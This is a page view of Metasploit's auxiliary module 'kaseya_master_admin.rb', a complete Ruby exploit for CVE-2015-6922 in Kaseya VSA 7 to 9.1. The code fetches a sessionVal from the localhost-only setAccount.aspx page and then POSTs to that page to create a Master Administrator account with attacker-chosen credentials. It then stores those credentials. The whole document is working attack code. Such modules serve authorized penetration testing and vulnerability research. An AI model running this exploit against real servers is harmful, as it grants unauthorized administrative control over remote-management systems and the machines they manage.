Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/kaseya_master_admin.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Kaseya VSA Master Administrator Account Creation',14'Description' => %q{15This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new16Master Administrator account. Normally this page is only accessible via the localhost17interface, but the application does nothing to prevent this apart from attempting to18force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and19v9.0.0.3.20},21'Author' => [22'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module23],24'License' => MSF_LICENSE,25'References' => [26['CVE', '2015-6922'],27['ZDI', '15-448'],28['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Kaseya/kaseya-vsa-vuln-2.txt'],29['URL', 'https://seclists.org/bugtraq/2015/Sep/132']30],31'DisclosureDate' => '2015-09-23'32)33)3435register_options(36[37OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),38OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),39OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),40OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]'])41]42)43end4445def run46res = send_request_cgi({47'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),48'method' => 'GET'49})5051if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/52session_val = ::Regexp.last_match(1)53else54print_error('Failed to get sessionVal')55return56end5758print_status("Got sessionVal #{session_val}, creating Master Administrator account")5960res = send_request_cgi({61'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),62'method' => 'POST',63'vars_post' => {64'sessionVal' => session_val,65'adminName' => datastore['KASEYA_USER'],66'NewPassword' => datastore['KASEYA_PASS'],67'confirm' => datastore['KASEYA_PASS'],68'adminEmail' => datastore['EMAIL'],69'setAccount' => 'Create'70}71})7273unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')74print_error('Master Administrator account creation failed')75return76end7778print_good("Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")7980connection_details = {81module_fullname: fullname,82username: datastore['KASEYA_USER'],83private_data: datastore['KASEYA_PASS'],84private_type: :password,85workspace_id: myworkspace_id,86access_level: 'Master Administrator',87status: Metasploit::Model::Login::Status::UNTRIED88}.merge(service_details)89create_credential_and_login(connection_details)90end91end929394